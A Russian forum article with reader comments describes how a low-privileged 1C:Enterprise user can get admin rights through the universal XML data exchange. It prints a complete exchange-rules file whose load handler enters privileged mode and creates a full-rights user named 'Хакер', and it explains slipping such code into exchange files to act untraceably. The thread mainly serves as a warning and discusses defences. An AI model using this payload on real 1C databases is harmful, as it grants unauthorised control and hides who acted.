Статья к обсуждению.
Серверная база, настроены роли и РЛС, даже у главбуха нет доступа ко всем организациям. Административные права только у администратора, добавлять пользователей/роли только через служебные записки. Знакомо?
А теперь добавим в эту базу маленького скромного менеджера, у которого из прав только — выгружать/загружать данные. Либо непосредственно через обработку универсального обмена XML, либо через справочник настройки обмена(права на обработку — только использование).
Казалось бы, загружать/выгружать данные менеджер может только те, которые ему доступны. Теоретически это так, однако при серьезном подходе через эту обработку он может получить полный и неограниченный доступ к БД. Например, если ему доступна форма обработки, он может создать файл xml, с кодом:
(ПравилаОбмена)
(ВерсияФормата)
2.01
(/ВерсияФормата)
(Ид)
e4d7c6e2-e768-43ee-ac67-18c27fe63791
(/Ид)
(Наименование)
УправлениеТорговлей 11 —) УправлениеТорговлей 11
(/Наименование)
(ДатаВремяСоздания)
2013-04-13T21:59:02
(/ДатаВремяСоздания)
(Источник ВерсияПлатформы=»8.0″ ВерсияКонфигурации=»11.0.9.14″ СинонимКонфигурации=»Управление торговлей, редакция 11.0″)
УправлениеТорговлей
(/Источник)
(Приемник ВерсияПлатформы=»8.0″ ВерсияКонфигурации=»11.0.9.14″ СинонимКонфигурации=»Управление торговлей, редакция 11.0″)
УправлениеТорговлей
(/Приемник)
(ПослеЗагрузкиПравилОбмена)
УстановитьПривилегированныйРежим(Истина); Пользователь = ПользователиИнформационнойБазы.СоздатьПользователя(); Пользователь.Имя = «Хакер»; Пользователь.АутентификацияСтандартная = Истина; Пользователь.Роли.Добавить(метаданные.роли.ПолныеПрава); Пользователь.Роли.Добавить(метаданные.роли.Администрирование); Пользователь.Записать();
(/ПослеЗагрузкиПравилОбмена)
(Параметры/)
(Обработки/)
(ПравилаКонвертацииОбъектов/)
(ПравилаВыгрузкиДанных/)
(ПравилаОчисткиДанных/)
(Алгоритмы/)
(Запросы/)
(/ПравилаОбмена)
и загрузить этот файл, как правило обмена. Прочитать правила обработкой и получить пользователя с полными и административными правами к базе. аналогичным образом можно вывести любую информацию, привилегированный режим позволит выполнить любой запрос к базе данных.
Если нет доступа к обработке, но пользователь совершает загрузку данных — аналогично подменяется xml-файл загрузки.
Вот такие дела вобщем. Проверено на серверной базе. Типовой. Возможно, все об этом и так знали, но кто-то возможно и задумается. давать право выполнять обмены пользователю с неполными правами — значит дать ему полный доступ к вашей базе данных. А раз такой доступ ему не полагается — значит, вы рискуете информационной безопасностью. Может вам повезет. А может и нет, решать вам.
зы. И кстати, не обязательно иметь доступ к этой обработке и базе вообще. достаточно иметь доступ к файлу выгрузки, который будет загружаться в вашу базу. В него можно добавить свой код, который выполнится тем человеком(или роботом), который выполняет обмен. После выполнения обмена файл удалится, а все действия в журнале регистрации будут записаны от имени того, кто выполнял обмен. И никаких следов, все чисто.
1С — доступно и всерьёз ©
(0)Маленький скромный менеджер со знанием архитектуры и нюансов среды.
Ржал, как последняя кобыла.
почему удалится?
Тоже вброшу. С чего бы? В типовых обменах он остаётся на месте, там и близко нет удаления.
Кстати не стоит недооценивать сообразительность офисного планктона. Вот случай из реальной жизни: довелось мне (еще в эпоху 7.7) автоматизировать ресторан. Технические подробности не очень интересны, но смысл в том, что счет клиенту выводился на экран, официант его распечатывал и нес получившему удовольствие челу. Однажды меня вызвонил разгневанный хозяин и показал счет, в котором сумма по строкам оказалась не равна общей сумме. Как показало следствие я забыл включить защиту для табличного документа mxl, а догадливый официант эту фишку просек и стал спокойно править итоговую сумму, в какую сторону сами знаете. В общем теперь руководствуюсь принципом: любая лазейка рано или поздно будет обнаружена и использована.
(2) Поручик, Думаю, тут не до смеха все-же. Потому что, даже если не найдется «маленького и скромного менеджера со знанием и т д.», у менеджера может найтись друг/знакомый/враг/иной человек, от которого тот зависит, который сможет сделать файл для подмены, и подменить его руками менеджера.
(3) andrewks, (4) Поручик, Конечно, файл не удалится. Но следующий файл, пришедший по обмену, имеет то же самое имя. Поэтому, если никакого архивирования файлов обмена не делается, файл будет затерт более новым файлом. Концы в воду.
Конечно, Вы это и так знаете. То есть, автор не очень четко написал о последствиях. Но проблема все-равно имеется, это ясно.
(7) kapustinag,
угу. даёшь защищённый документооборот для обменов!
я это заметил еще вhttp://forum.infostart.ru/forum26/topic38078/message431224/#message431224 , но как-то мысль тогда не развил. но без сомнений — это дыра.
Однако, даже не думал в этом направлении, статья безусловно интересная и наводит на определенные размышления. Так что возможно скоро будут фильмы про «Хакеров 1С» :). А на счет офисного планктона — так любопытство — хуже злого умысла.
Архивировать с паролем надо эти файлы обмена, вот что. Хоть какая защита будет. Или передавать так, чтоб перехватить не было возможности, или com-xml-обмен гонять.
(11)Архивировать безусловно надо, равно как и настроить доступ к каталогу обмена(если речь идет о спр настройка обмена данными).
Но если есть доступ к обработке унив обмена XML, то все бесполезно.
+ форматирование кода ни к черту, заменил теги скобками
уфф, хорошо что у нас «самописка» на 8.1… УстановитьПривилегированныйРежим(Истина) придумали только в 8.2 🙂 Хотя в «ПослеЗагрузкиПравилОбмена» можно добавить и любую деструкцию… например удалить непосредственно если роль позволяет 🙁
Прошу прощения, а в какой вселенной у
права на
, то есть фигурально выражаясь, права на внешние обработки или доступ к системным настройкам обменов? При таком подходе они на флешке такого принесут, что потом бекап не спасет. Если уж нужно что-то универсальное, пишите оболочку над универсалкой и ставьте пароль на архив файла обмена. Тут нужно исходить из законов Мерфи, если пользователи могут что-то поломать — они поломают, надеяться на здравый смысл бесполезно.
Вот это дырочка! Похоже при настройке обменов нужно жестко все прописывать без возможности изменения, отключать достп к файлам обмена и шифровать/дешифровать на этапе транспортировки. Код получения доступа зачетный. И, кстати, никто ведь не мешает с правами админа зачистить логи по получению прав. Или я не прав?
(16) soba,
А разве она там одна!? Ваше удивление просто обескураживает.
(1) andrewks,
1С — доступно и всерьёз ©
Hackers of all Wold — HACK IT !!!
На самом деле есть некоторые нюансы 🙂
Данный код сработает не всегда и не везде.
Дырка безусловно есть, но не все так страшно.
1С по своей сути мало приспособлена для защиты информации от чтения иили изменения.
(20) Особенно файловая база 🙂
+ практическое продолжение статьи:
http://infostart.ru/public/183336/
(17) stagov, Ну такая действительно удивила. Как-то не приходилось в этом направлении ковыряться
(23) soba,
таки да. народ то наш придумковатый. и любознательный
а нельзя настроить автоматический обмен??
(25) s_uu,
в каком смысле автоматический обмен?
спамить по почте файликами с хакерской ХМЛ-загрузкой
и подламывать всем 1С-ки ???
способ этот известен. он позволяет даже больше. Но на всеобщее не был выложен… Чтож теперь нужны статьи как защищаться.
Хотя решения аналогичны тем которые используют при конфиденциальной передаче информации.
Хотя говорить о защищенности 1С вообще не стоит.
Мир этому дому!
Автору спасибо за статью. Предупрежден — значит вооружен. Хотя на счет вооружен — погорячился… Защитится от деструктивных действий пользователей не просто. Статус (или ответственность) человека делающего обмен повышается. «Практические приложения» — появляются и будут расти как грибы…
Не хочется лезть проверять, но разве код из правил не выполняется в безопасном режиме? Если так, то УстановитьПривилегированныйРежим не сработает.
Проверка спама из рубрики «Выбор экспертов» (дубль 1).
(30)
Проверка спама из рубрики «Выбор экспертов» (дубль 2).
А еще это способ восстановить пароль — точнее создать пользователя с правами на конфигуратор) Всякое же бывает)
Вроде это баян. Всем давно известно, что использование универсального обмена без контроля может обернуться проблемами, я сам, частенько, когда что-то отлаживаю правлю код прямо в xml файле.
Однако, можно использовать бекап sql-серверов, защищенные папки для обмена (глупо использовать папку для обмена с общим доступом), использовать антивирусы и др. стандартные средства.
(0) А зачем вообще заморачиваться именно с обработкой обмена?
Если у пользователя есть право использования внешних отчетов/обработок, то аналогичный код он может прописать в своей собственной обработке/отчете и запустить его в режиме предприятия, результат будет тот же, только морочиться придется меньше.
(0) Судя справке синтакс-помощника к методу «УстановитьПривилегированныйРежим()» — в клиент-серверном режиме работы базы метод управляет привилегированным исполнением кода только при его вызове на стороне сервера, т.е. в обычном режиме работы конфигурации через обработки/отчеты установить этот режим не получится (модуль объекта и формы исполняются на стороне клиента), то что касается управляемых форм, то для предотвращения таких случаев необходимо использовать метод «УстановитьБезопасныйРежим()», о чем было упомянуто в (29).
Т.е. получается, что права на использование внешних штук куда более опасная вещь, нежели права на выполнение обменов данными.
Интересно, а файловый режим работы с базой данных будет иметь эту уязвимость? Или там своих хватает) ?
Одно из первейших правил: никакого выполнения пользовательских данных!
(36) gradus, Выгрузка загрузка данных не зависит от среды хранения базы